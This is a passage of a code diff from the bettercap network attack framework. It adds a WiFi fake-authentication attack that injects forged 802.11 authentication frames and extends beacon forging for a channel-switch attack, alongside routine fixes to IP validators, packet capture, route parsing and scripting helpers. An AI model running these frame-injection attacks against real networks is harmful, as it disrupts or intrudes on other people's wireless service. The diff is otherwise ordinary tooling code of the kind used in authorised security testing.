if !mod.Running() {
|
||||
if err := mod.Configure(); err != nil {
|
||||
return err
|
||||
}
|
||||
defer mod.handle.Close()
|
||||
}
|
||||
|
||||
var ap *network.AccessPoint = nil
|
||||
|
||||
for _, _ap := range mod.Session.WiFi.List() {
|
||||
if bytes.Equal(_ap.HW, to) {
|
||||
ap = _ap
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if ap == nil {
|
||||
return fmt.Errorf("%s is an unknown BSSID", to.String())
|
||||
}
|
||||
|
||||
mod.writes.Add(1)
|
||||
go func() {
|
||||
defer mod.writes.Done()
|
||||
|
||||
if mod.Running() {
|
||||
logger := mod.Info
|
||||
if mod.isCSASilent() {
|
||||
logger = mod.Debug
|
||||
}
|
||||
logger("channel hop attack in AP %s (channel:%d encryption:%s), hop to channel %d ", ap.ESSID(), ap.Channel, ap.Encryption, toChan)
|
||||
// send the beacon frame with channel switch announce element id
|
||||
mod.onChannel(ap.Channel, func() {
|
||||
mod.sendBeaconWithCSAPacket(ap, toChan)
|
||||
})
|
||||
}
|
||||
|
||||
}()
|
||||
|
||||
return nil
|
||||
}
|
71
modules/wifi/wifi_fake_auth.go
Normal file
71
modules/wifi/wifi_fake_auth.go
Normal file
|
@ -0,0 +1,71 @@
|
|||
package wifi
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"github.com/bettercap/bettercap/network"
|
||||
"github.com/bettercap/bettercap/packets"
|
||||
"net"
|
||||
)
|
||||
|
||||
|
||||
func (mod *WiFiModule) isFakeAuthSilent() bool {
|
||||
if err, is := mod.BoolParam("wifi.fake_auth.silent"); err != nil {
|
||||
mod.Warning("%v", err)
|
||||
} else {
|
||||
mod.csaSilent = is
|
||||
}
|
||||
return mod.csaSilent
|
||||
}
|
||||
|
||||
func(mod *WiFiModule)sendFakeAuthPacket(bssid,client net.HardwareAddr){
|
||||
err,pkt:=packets.NewDot11Auth(client,bssid,0)
|
||||
if err!=nil{
|
||||
mod.Error("could not create authentication packet: %s", err)
|
||||
return
|
||||
}
|
||||
for i:=0;i<32;i++{
|
||||
mod.injectPacket(pkt)
|
||||
}
|
||||
}
|
||||
|
||||
func (mod *WiFiModule) startFakeAuth(bssid,client net.HardwareAddr) error {
|
||||
// if not already running, temporarily enable the pcap handle
|
||||
// for packet injection
|
||||
if !mod.Running() {
|
||||
if err := mod.Configure(); err != nil {
|
||||
return err
|
||||
}
|
||||
defer mod.handle.Close()
|
||||
}
|
||||
|
||||
var ap *network.AccessPoint = nil
|
||||
|
||||
for _, _ap := range mod.Session.WiFi.List() {
|
||||
if bytes.Equal(_ap.HW, bssid) {
|
||||
ap = _ap
|
||||
}
|
||||
}
|
||||
|
||||
if ap == nil {
|
||||
return fmt.Errorf("%s is an unknown BSSID", bssid.String())
|
||||
}
|
||||
|
||||
mod.writes.Add(1)
|
||||
go func() {
|
||||
defer mod.writes.Done()
|
||||
|
||||
if mod.Running() {
|
||||
logger := mod.Info
|
||||
if mod.isFakeAuthSilent() {
|
||||
logger = mod.Debug
|
||||
}
|
||||
logger("fake authentication attack in AP: %s client: %s", ap.ESSID(), client.String())
|
||||
// send the beacon frame with channel switch announce element id
|
||||
mod.onChannel(ap.Channel, func() {
|
||||
mod.sendFakeAuthPacket(bssid,client)
|
||||
})
|
||||
}
|
||||
}()
|
||||
return nil
|
||||
}
|
|
@ -29,11 +29,19 @@ const (
|
|||
|
||||
var (
|
||||
BroadcastHw = []byte{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}
|
||||
IPv4Validator = regexp.MustCompile(`^[0-9\.]+/?\d*$`)
|
||||
IPv4RangeValidator = regexp.MustCompile(`^[0-9\.\-]+/?\d*$`)
|
||||
MACValidator = regexp.MustCompile(`(?i)^[a-f0-9]{1,2}:[a-f0-9]{1,2}:[a-f0-9]{1,2}:[a-f0-9]{1,2}:[a-f0-9]{1,2}:[a-f0-9]{1,2}$`)
|
||||
IPv4BlockValidator = regexp.MustCompile(`^` +
|
||||
`(?:(?:25[0-5]|2[0-4][0-9]|[1][0-9]{2}|[1-9]?[0-9])\.){3}` +
|
||||
`(?:25[0-5]|2[0-4][0-9]|[1][0-9]{2}|[1-9]?[0-9])` +
|
||||
`/(?:3[0-2]|2[0-9]|[1]?[0-9])` + `$`)
|
||||
IPv4RangeValidator = regexp.MustCompile(`^` +
|
||||
`(?:(?:(?:25[0-5]|2[0-4][0-9]|[1][0-9]{2}|[1-9]?[0-9])-)?(?:25[0-5]|2[0-4][0-9]|[1][0-9]{2}|[1-9]?[0-9])\.){3}` +
|
||||
`(?:(?:25[0-5]|2[0-4][0-9]|[1][0-9]{2}|[1-9]?[0-9])-)?(?:25[0-5]|2[0-4][0-9]|[1][0-9]{2}|[1-9]?[0-9])` + `$`)
|
||||
IPv4Validator = regexp.MustCompile(`^` +
|
||||
`(?:(?:25[0-5]|2[0-4][0-9]|[1][0-9]{2}|[1-9]?[0-9])\.){3}` +
|
||||
`(?:25[0-5]|2[0-4][0-9]|[1][0-9]{2}|[1-9]?[0-9])` + `$`)
|
||||
MACValidator = regexp.MustCompile(`(?i)^(?:[a-f0-9]{2}:){5}[a-f0-9]{2}$`)
|
||||
// lulz this sounds like a hamburger
|
||||
macParser = regexp.MustCompile(`(?i)([a-f0-9]{1,2}:[a-f0-9]{1,2}:[a-f0-9]{1,2}:[a-f0-9]{1,2}:[a-f0-9]{1,2}:[a-f0-9]{1,2})`)
|
||||
macParser = regexp.MustCompile(`(?i)((?:[a-f0-9]{2}:){5}[a-f0-9]{2})`)
|
||||
aliasParser = regexp.MustCompile(`(?i)([a-z_][a-z_0-9]+)`)
|
||||
)
|
||||
|
||||
|
@ -247,7 +255,7 @@ func FindInterface(name string) (*Endpoint, error) {
|
|||
|
||||
// user did not provide an interface name,
|
||||
// return the first one with a valid ipv4
|
||||
// address
|
||||
// address that does not loop back
|
||||
for _, iface := range ifaces {
|
||||
addrs, err := iface.Addrs()
|
||||
if err != nil {
|
||||
|
@ -257,7 +265,7 @@ func FindInterface(name string) (*Endpoint, error) {
|
|||
|
||||
for _, address := range addrs {
|
||||
ip := address.String()
|
||||
if !strings.Contains(ip, "127.0.0.1") && IPv4Validator.MatchString(ip) {
|
||||
if !strings.HasPrefix(ip, "127.0.0.1") && IPv4BlockValidator.MatchString(ip) {
|
||||
return buildEndpointFromInterface(iface)
|
||||
}
|
||||
}
|
||||
|
@ -279,7 +287,11 @@ func SetWiFiRegion(region string) error {
|
|||
|
||||
func ActivateInterface(name string) error {
|
||||
if out, err := core.Exec("ifconfig", []string{name, "up"}); err != nil {
|
||||
if out != "" {
|
||||
return fmt.Errorf("%v: %s", err, out)
|
||||
} else {
|
||||
return err
|
||||
}
|
||||
} else if out != "" {
|
||||
return fmt.Errorf("unexpected output while activating interface %s: %s", name, out)
|
||||
}
|
||||
|
@ -289,8 +301,7 @@ func ActivateInterface(name string) error {
|
|||
func SetInterfaceTxPower(name string, txpower int) error {
|
||||
if core.HasBinary("iw") {
|
||||
Debug("SetInterfaceTxPower(%s, %d) iw based", name, txpower)
|
||||
if _, err := core.Exec("iw", []string{"dev", name, "set", "txpower", "fixed", fmt.Sprintf("%d",
|
||||
txpower)}); err != nil {
|
||||
if _, err := core.Exec("iw", []string{"dev", name, "set", "txpower", "fixed", fmt.Sprintf("%d", txpower)}); err != nil {
|
||||
return err
|
||||
}
|
||||
} else if core.HasBinary("iwconfig") {
|
||||
|
|
|
@ -73,7 +73,7 @@ func iwlistSupportedFrequencies(iface string) ([]int, error) {
|
|||
}
|
||||
|
||||
var iwPhyParser = regexp.MustCompile(`^\s*wiphy\s+(\d+)$`)
|
||||
var iwFreqParser = regexp.MustCompile(`^\s+\*\s+(\d+)\s+MHz.+$`)
|
||||
var iwFreqParser = regexp.MustCompile(`^\s+\*\s+(\d+)\s+MHz.+dBm.+$`)
|
||||
|
||||
func iwSupportedFrequencies(iface string) ([]int, error) {
|
||||
// first determine phy index
|
||||
|
@ -123,10 +123,12 @@ func iwSupportedFrequencies(iface string) ([]int, error) {
|
|||
}
|
||||
|
||||
func GetSupportedFrequencies(iface string) ([]int, error) {
|
||||
if core.HasBinary("iw") {
|
||||
return iwSupportedFrequencies(iface)
|
||||
} else if core.HasBinary("iwlist") {
|
||||
// give priority to iwlist because of https://github.com/bettercap/bettercap/issues/881
|
||||
if core.HasBinary("iwlist") {
|
||||
return iwlistSupportedFrequencies(iface)
|
||||
} else if core.HasBinary("iw") {
|
||||
return iwSupportedFrequencies(iface)
|
||||
}
|
||||
|
||||
return nil, fmt.Errorf("no iw or iwlist binaries found in $PATH")
|
||||
}
|
||||
|
|
71
network/pcap.go
Normal file
71
network/pcap.go
Normal file
|
@ -0,0 +1,71 @@
|
|||
package network
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"github.com/evilsocket/islazy/tui"
|
||||
"github.com/google/gopacket/pcap"
|
||||
)
|
||||
|
||||
const (
|
||||
PCAP_DEFAULT_SETRF = false
|
||||
PCAP_DEFAULT_SNAPLEN = 65536
|
||||
PCAP_DEFAULT_BUFSIZE = 2_097_152
|
||||
PCAP_DEFAULT_PROMISC = true
|
||||
PCAP_DEFAULT_TIMEOUT = pcap.BlockForever
|
||||
)
|
||||
|
||||
var CAPTURE_DEFAULTS = CaptureOptions{
|
||||
Monitor: PCAP_DEFAULT_SETRF,
|
||||
Snaplen: PCAP_DEFAULT_SNAPLEN,
|
||||
Bufsize: PCAP_DEFAULT_BUFSIZE,
|
||||
Promisc: PCAP_DEFAULT_PROMISC,
|
||||
Timeout: PCAP_DEFAULT_TIMEOUT,
|
||||
}
|
||||
|
||||
type CaptureOptions struct {
|
||||
Monitor bool
|
||||
Snaplen int
|
||||
Bufsize int
|
||||
Promisc bool
|
||||
Timeout time.Duration
|
||||
}
|
||||
|
||||
func CaptureWithOptions(ifName string, options CaptureOptions) (*pcap.Handle, error) {
|
||||
Debug("creating capture for '%s' with options: %+v", ifName, options)
|
||||
|
||||
ihandle, err := pcap.NewInactiveHandle(ifName)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("error while opening interface %s: %s", ifName, err)
|
||||
}
|
||||
defer ihandle.CleanUp()
|
||||
|
||||
if options.Monitor {
|
||||
if err = ihandle.SetRFMon(true); err != nil {
|
||||
return nil, fmt.Errorf("error while setting interface %s in monitor mode: %s", tui.Bold(ifName), err)
|
||||
}
|
||||
}
|
||||
|
||||
if err = ihandle.SetSnapLen(options.Snaplen); err != nil {
|
||||
return nil, fmt.Errorf("error while settng snapshot length: %s", err)
|
||||
} else if err = ihandle.SetBufferSize(options.Bufsize); err != nil {
|
||||
return nil, fmt.Errorf("error while settng buffer size: %s", err)
|
||||
} else if err = ihandle.SetPromisc(options.Promisc); err != nil {
|
||||
return nil, fmt.Errorf("error while settng promiscuous mode to %v: %s", options.Promisc, err)
|
||||
} else if err = ihandle.SetTimeout(options.Timeout); err != nil {
|
||||
return nil, fmt.Errorf("error while settng snapshot length: %s", err)
|
||||
}
|
||||
|
||||
return ihandle.Activate()
|
||||
}
|
||||
|
||||
func Capture(ifName string) (*pcap.Handle, error) {
|
||||
return CaptureWithOptions(ifName, CAPTURE_DEFAULTS)
|
||||
}
|
||||
|
||||
func CaptureWithTimeout(ifName string, timeout time.Duration) (*pcap.Handle, error) {
|
||||
var opts = CAPTURE_DEFAULTS
|
||||
opts.Timeout = timeout
|
||||
return CaptureWithOptions(ifName, opts)
|
||||
}
|
|
@ -23,6 +23,8 @@ func Dot11Freq2Chan(freq int) int {
|
|||
return 14
|
||||
} else if freq >= 5035 && freq <= 5865 {
|
||||
return ((freq - 5035) / 5) + 7
|
||||
} else if freq >= 5875 && freq <= 5895 {
|
||||
return 177
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
@ -34,6 +36,8 @@ func Dot11Chan2Freq(channel int) int {
|
|||
return 2484
|
||||
} else if channel <= 173 {
|
||||
return ((channel - 7) * 5) + 5035
|
||||
} else if channel == 177 {
|
||||
return 5885
|
||||
}
|
||||
|
||||
return 0
|
||||
|
|
|
@ -6,26 +6,39 @@ import (
|
|||
"github.com/evilsocket/islazy/data"
|
||||
)
|
||||
|
||||
// Define test data for dot11 frequency <-> channel tests
|
||||
type dot11pair struct {
|
||||
frequency int
|
||||
channel int
|
||||
}
|
||||
|
||||
var dot11TestVector = []dot11pair{
|
||||
{2472, 13},
|
||||
{2484, 14},
|
||||
{5825, 165},
|
||||
{5885, 177},
|
||||
}
|
||||
|
||||
func buildExampleWiFi() *WiFi {
|
||||
aliases := &data.UnsortedKV{}
|
||||
return NewWiFi(buildExampleEndpoint(), aliases, func(ap *AccessPoint) {}, func(ap *AccessPoint) {})
|
||||
}
|
||||
|
||||
func TestDot11Freq2Chan(t *testing.T) {
|
||||
exampleFreq := 2472
|
||||
exp := 13
|
||||
got := Dot11Freq2Chan(exampleFreq)
|
||||
if got != exp {
|
||||
t.Fatalf("expected '%v', got '%v'", exp, got)
|
||||
for _, entry := range dot11TestVector {
|
||||
gotChannel := Dot11Freq2Chan(entry.frequency)
|
||||
if gotChannel != entry.channel {
|
||||
t.Fatalf("expected '%v', got '%v'", entry.channel, gotChannel)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDot11Chan2Freq(t *testing.T) {
|
||||
exampleChan := 13
|
||||
exp := 2472
|
||||
got := Dot11Chan2Freq(exampleChan)
|
||||
if got != exp {
|
||||
t.Fatalf("expected '%v', got '%v'", exp, got)
|
||||
for _, entry := range dot11TestVector {
|
||||
gotFrequency := Dot11Chan2Freq(entry.channel)
|
||||
if gotFrequency != entry.frequency {
|
||||
t.Fatalf("expected '%v', got '%v'", entry.frequency, gotFrequency)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -13,6 +13,7 @@ import (
|
|||
var (
|
||||
openFlags = 1057
|
||||
wpaFlags = 1041
|
||||
specManFlag = 1<<8
|
||||
durationID = uint16(0x013a)
|
||||
capabilityInfo = uint16(0x0411)
|
||||
listenInterval = uint16(3)
|
||||
|
@ -41,6 +42,7 @@ type Dot11ApConfig struct {
|
|||
BSSID net.HardwareAddr
|
||||
Channel int
|
||||
Encryption bool
|
||||
SpectrumManagement bool
|
||||
}
|
||||
|
||||
func Dot11Info(id layers.Dot11InformationElementID, info []byte) *layers.Dot11InformationElement {
|
||||
|
@ -51,12 +53,14 @@ func Dot11Info(id layers.Dot11InformationElementID, info []byte) *layers.Dot11In
|
|||
}
|
||||
}
|
||||
|
||||
func NewDot11Beacon(conf Dot11ApConfig, seq uint16) (error, []byte) {
|
||||
func NewDot11Beacon(conf Dot11ApConfig, seq uint16, extendDot11Info ...*layers.Dot11InformationElement) (error, []byte) {
|
||||
flags := openFlags
|
||||
if conf.Encryption {
|
||||
flags = wpaFlags
|
||||
}
|
||||
|
||||
if conf.SpectrumManagement {
|
||||
flags |= specManFlag
|
||||
}
|
||||
stack := []gopacket.SerializableLayer{
|
||||
&layers.RadioTap{
|
||||
DBMAntennaSignal: int8(-10),
|
||||
|
@ -77,7 +81,9 @@ func NewDot11Beacon(conf Dot11ApConfig, seq uint16) (error, []byte) {
|
|||
Dot11Info(layers.Dot11InformationElementIDRates, fakeApRates),
|
||||
Dot11Info(layers.Dot11InformationElementIDDSSet, []byte{byte(conf.Channel & 0xff)}),
|
||||
}
|
||||
|
||||
for _, v := range extendDot11Info {
|
||||
stack = append(stack, v)
|
||||
}
|
||||
if conf.Encryption {
|
||||
stack = append(stack, &layers.Dot11InformationElement{
|
||||
ID: layers.Dot11InformationElementIDRSNInfo,
|
||||
|
|
|
@ -177,14 +177,22 @@ func dot11ParseWPSVendorExtension(data []byte, info *map[string]string) string {
|
|||
size := len(data)
|
||||
for offset := 3; offset < size; {
|
||||
idByte := uint8(data[offset])
|
||||
sizeByte := uint8(data[offset+1])
|
||||
if next := offset + 1; next < size {
|
||||
sizeByte := uint8(data[next])
|
||||
if idByte == wpsVersion2ID {
|
||||
verByte := fmt.Sprintf("%x", data[offset+2])
|
||||
if next = offset + 2; next < size {
|
||||
verByte := fmt.Sprintf("%x", data[next])
|
||||
(*info)["Version"] = wpsVersionDesc[verByte]
|
||||
data = data[offset+3:]
|
||||
if next = offset + 3; next < size {
|
||||
data = data[next:]
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
offset += int(sizeByte) + 2
|
||||
} else {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
return hex.EncodeToString(data)
|
||||
|
|
|
@ -5,7 +5,6 @@ import (
|
|||
"strings"
|
||||
|
||||
"github.com/evilsocket/islazy/str"
|
||||
|
||||
"github.com/google/gopacket"
|
||||
"github.com/google/gopacket/layers"
|
||||
)
|
||||
|
|
|
@ -69,7 +69,7 @@ func NewQueue(iface *network.Endpoint) (q *Queue, err error) {
|
|||
}
|
||||
|
||||
if q.active {
|
||||
if q.handle, err = pcap.OpenLive(iface.Name(), 1024, true, pcap.BlockForever); err != nil {
|
||||
if q.handle, err = network.Capture(iface.Name()); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
|
|
|
@ -1,10 +1,11 @@
|
|||
package routing
|
||||
|
||||
import (
|
||||
"github.com/bettercap/bettercap/core"
|
||||
"github.com/evilsocket/islazy/str"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"github.com/bettercap/bettercap/core"
|
||||
"github.com/evilsocket/islazy/str"
|
||||
)
|
||||
|
||||
var parser = regexp.MustCompile(`^([^\s]+)\s+([^\s]+)\s+([^\s]+)\s+([^\s]+).*$`)
|
||||
|
|
|
@ -1,45 +1,78 @@
|
|||
package routing
|
||||
|
||||
import (
|
||||
"github.com/bettercap/bettercap/core"
|
||||
"github.com/evilsocket/islazy/str"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"github.com/bettercap/bettercap/core"
|
||||
"github.com/evilsocket/islazy/str"
|
||||
)
|
||||
|
||||
var parser = regexp.MustCompile(`^(.+)\sdev\s([^\s]+)\s(.+)$`)
|
||||
var (
|
||||
routeHeadings []string
|
||||
whitespaceParser = regexp.MustCompile(`\s+`)
|
||||
)
|
||||
|
||||
func update() ([]Route, error) {
|
||||
table = make([]Route, 0)
|
||||
|
||||
for ip, inet := range map[RouteType]string{IPv4: "inet", IPv6: "inet6"} {
|
||||
output, err := core.Exec("ip", []string{"-f", inet, "route"})
|
||||
output, err := core.Exec("netstat", []string{"-r", "-n", "-4", "-6"})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// because entries are separated by whitespace
|
||||
output = strings.ReplaceAll(output, "Next Hop", "Gateway")
|
||||
|
||||
for _, line := range strings.Split(output, "\n") {
|
||||
if line = str.Trim(line); len(line) > 0 {
|
||||
matches := parser.FindStringSubmatch(line)
|
||||
if num := len(matches); num == 4 {
|
||||
route := Route{
|
||||
Type: ip,
|
||||
Destination: matches[1],
|
||||
Device: matches[2],
|
||||
Flags: matches[3],
|
||||
Default: strings.Index(matches[1], "default ") == 0,
|
||||
if line = str.Trim(line); len(line) != 0 {
|
||||
parts := whitespaceParser.Split(line, -1)
|
||||
if parts[0] == "Kernel" {
|
||||
continue
|
||||
}
|
||||
|
||||
if idx := strings.Index(route.Destination, " via "); idx >= 0 {
|
||||
route.Gateway = route.Destination[idx + len(" via "):]
|
||||
route.Destination = route.Destination[:idx]
|
||||
if parts[0] == "Destination" {
|
||||
routeHeadings = parts
|
||||
continue
|
||||
}
|
||||
|
||||
route := Route{}
|
||||
for i, s := range parts {
|
||||
switch routeHeadings[i] {
|
||||
case "Destination":
|
||||
route.Destination = s
|
||||
break
|
||||
case "Flag":
|
||||
route.Flags = s
|
||||
break
|
||||
case "Flags":
|
||||
route.Flags = s
|
||||
break
|
||||
case "Gateway":
|
||||
route.Gateway = s
|
||||
break
|
||||
case "If":
|
||||
route.Device = s
|
||||
break
|
||||
case "Iface":
|
||||
route.Device = s
|
||||
break
|
||||
case "Netif":
|
||||
route.Device = s
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
route.Default = strings.Contains(route.Flags, "G")
|
||||
|
||||
if strings.ContainsRune(route.Destination, '.') || strings.ContainsRune(route.Gateway, '.') {
|
||||
route.Type = IPv4
|
||||
} else {
|
||||
route.Type = IPv6
|
||||
}
|
||||
|
||||
table = append(table, route)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return table, nil
|
||||
}
|
||||
|
|
|
@ -59,7 +59,7 @@ func NewIntParameter(name string, def_value string, desc string) *ModuleParam {
|
|||
}
|
||||
|
||||
func NewDecimalParameter(name string, def_value string, desc string) *ModuleParam {
|
||||
return NewModuleParameter(name, def_value, FLOAT, "^[\\d]+(\\.\\d+)?$", desc)
|
||||
return NewModuleParameter(name, def_value, FLOAT, `^[\-\+]?[\d]+(\.\d+)?$`, desc)
|
||||
}
|
||||
|
||||
func (p ModuleParam) validate(value string) (error, interface{}) {
|
||||
|
|
|
@ -2,15 +2,17 @@ package session
|
|||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/bettercap/bettercap/caplets"
|
||||
_ "github.com/bettercap/bettercap/js"
|
||||
"github.com/evilsocket/islazy/fs"
|
||||
"github.com/evilsocket/islazy/plugin"
|
||||
"github.com/evilsocket/islazy/str"
|
||||
"io/ioutil"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"github.com/bettercap/bettercap/caplets"
|
||||
_ "github.com/bettercap/bettercap/js"
|
||||
|
||||
"github.com/evilsocket/islazy/fs"
|
||||
"github.com/evilsocket/islazy/plugin"
|
||||
"github.com/evilsocket/islazy/str"
|
||||
)
|
||||
|
||||
// require("telegram.js")
|
||||
|
@ -37,7 +39,7 @@ func preprocess(basePath string, code string, level int) (string, error) {
|
|||
filepath.Join(caplets.InstallBase, fileName),
|
||||
}
|
||||
|
||||
if strings.Contains(fileName, ".js") == false {
|
||||
if !strings.Contains(fileName, ".js") {
|
||||
searchPaths = append(searchPaths, []string{
|
||||
filepath.Join(basePath, fileName) + ".js",
|
||||
filepath.Join(caplets.InstallBase, fileName) + ".js",
|
||||
|
|
|
@ -2,12 +2,18 @@ package session
|
|||
|
||||
import (
|
||||
"encoding/json"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
|
||||
"github.com/bettercap/bettercap/js"
|
||||
"github.com/evilsocket/islazy/fs"
|
||||
"github.com/evilsocket/islazy/log"
|
||||
"github.com/robertkrimen/otto"
|
||||
)
|
||||
|
||||
// see https://github.com/robertkrimen/otto/issues/213
|
||||
var jsRuntime = otto.New()
|
||||
|
||||
func jsRunFunc(call otto.FunctionCall) otto.Value {
|
||||
argv := call.ArgumentList
|
||||
argc := len(argv)
|
||||
|
@ -67,15 +73,89 @@ func jsOnEventFunc(call otto.FunctionCall) otto.Value {
|
|||
I.Events.Log(log.ERROR, "error serializing event %s: %v", event.Tag, err)
|
||||
}
|
||||
|
||||
// lock vm
|
||||
// lock vm if ready and available
|
||||
locked := false
|
||||
if I.script != nil {
|
||||
I.script.Lock()
|
||||
locked = true
|
||||
}
|
||||
|
||||
if _, err := cb.Call(otto.NullValue(), opaque); err != nil {
|
||||
I.Events.Log(log.ERROR, "error dispatching event %s: %v", event.Tag, err)
|
||||
}
|
||||
|
||||
// unlock vm if ready and available
|
||||
if locked {
|
||||
I.script.Unlock()
|
||||
}
|
||||
}
|
||||
}
|
||||
}(filterExpr, cb)
|
||||
|
||||
return js.NullValue
|
||||
}
|
||||
|
||||
func jsSaveJSONFunc(call otto.FunctionCall) otto.Value {
|
||||
argv := call.ArgumentList
|
||||
argc := len(argv)
|
||||
if argc != 2 {
|
||||
return js.ReportError("saveJSON accepts one object and one string arguments")
|
||||
} else if argv[0].IsObject() == false {
|
||||
return js.ReportError("saveJSON accepts one object and one string arguments")
|
||||
} else if argv[1].IsString() == false {
|
||||
return js.ReportError("saveJSON accepts one object and one string arguments")
|
||||
}
|
||||
|
||||
obj := argv[0]
|
||||
if fileName, err := fs.Expand(argv[1].String()); err != nil {
|
||||
return js.ReportError("can't expand '%s': %v", fileName, err)
|
||||
} else if exp, err := obj.Export(); err != nil {
|
||||
return js.ReportError("error exporting object: %v", err)
|
||||
} else if raw, err := json.Marshal(exp); err != nil {
|
||||
return js.ReportError("error serializing object: %v", err)
|
||||
} else if err = ioutil.WriteFile(fileName, raw, os.ModePerm); err != nil {
|
||||
return js.ReportError("error writing to '%s': %v", fileName, err)
|
||||
}
|
||||
|
||||
return js.NullValue
|
||||
}
|
||||
|
||||
func jsLoadJSONFunc(call otto.FunctionCall) otto.Value {
|
||||
argv := call.ArgumentList
|
||||
argc := len(argv)
|
||||
if argc != 1 {
|
||||
return js.ReportError("loadJSON accepts one string argument")
|
||||
} else if argv[0].IsString() == false {
|
||||
return js.ReportError("loadJSON accepts one string argument")
|
||||
}
|
||||
|
||||
var obj interface{}
|
||||
|
||||
if fileName, err := fs.Expand(argv[0].String()); err != nil {
|
||||
return js.ReportError("can't expand '%s': %v", fileName, err)
|
||||
} else if rawData, err := ioutil.ReadFile(fileName); err != nil {
|
||||
return js.ReportError("can't read '%s': %v", fileName, err)
|
||||
} else if err = json.Unmarshal(rawData, &obj); err != nil {
|
||||
return js.ReportError("can't parse '%s': %v", fileName, err)
|
||||
} else if v, err := jsRuntime.ToValue(obj); err != nil {
|
||||
return js.ReportError("could not convert '%s' to javascript object: %s", fileName, err)
|
||||
} else {
|
||||
return v
|
||||
}
|
||||
}
|
||||
|
||||
func jsFileExistsFunc(call otto.FunctionCall) otto.Value {
|
||||
argv := call.ArgumentList
|
||||
argc := len(argv)
|
||||
if argc != 1 {
|
||||
return js.ReportError("fileExists accepts one string argument")
|
||||
} else if argv[0].IsString() == false {
|
||||
return js.ReportError("fileExists accepts one string argument")
|
||||
} else if fileName, err := fs.Expand(argv[0].String()); err != nil {
|
||||
return js.ReportError("can't expand '%s': %v", fileName, err)
|
||||
} else if fs.Exists(fileName) {
|
||||
return otto.TrueValue()
|
||||
}
|
||||
|
||||
return otto.FalseValue()
|
||||
}
|
||||
|
|
|
@ -127,6 +127,10 @@ func New() (*Session, error) {
|
|||
}
|
||||
}
|
||||
|
||||
if bufSize := *s.Options.PcapBufSize; bufSize != -1 {
|
||||
network.CAPTURE_DEFAULTS.Bufsize = bufSize
|
||||
}
|
||||
|
||||
if s.Env, err = NewEnvironment(*s.Options.EnvFile); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
@ -302,14 +306,15 @@ func (s *Session) Start() error {
|
|||
|
||||
s.startNetMon()
|
||||
|
||||
if *s.Options.Debug {
|
||||
s.Events.Add("session.started", nil)
|
||||
}
|
||||
|
||||
// register js functions here to avoid cyclic dependency between
|
||||
// js and session
|
||||
plugin.Defines["env"] = jsEnvFunc
|
||||
plugin.Defines["run"] = jsRunFunc
|
||||
plugin.Defines["fileExists"] = jsFileExistsFunc
|
||||
plugin.Defines["loadJSON"] = jsLoadJSONFunc
|
||||
plugin.Defines["saveJSON"] = jsSaveJSONFunc
|
||||
plugin.Defines["onEvent"] = jsOnEventFunc
|
||||
plugin.Defines["session"] = s
|
||||
|
||||
|
|
|
@ -155,6 +155,9 @@ func (s *Session) activeHandler(args []string, sess *Session) error {
|
|||
}
|
||||
|
||||
func (s *Session) exitHandler(args []string, sess *Session) error {
|
||||
// notify any listener that the session is about to end
|
||||
s.Events.Add("session.stopped", nil)
|
||||
|
||||
for _, mod := range s.Modules {
|
||||
if mod.Running() {
|
||||
mod.Stop()
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue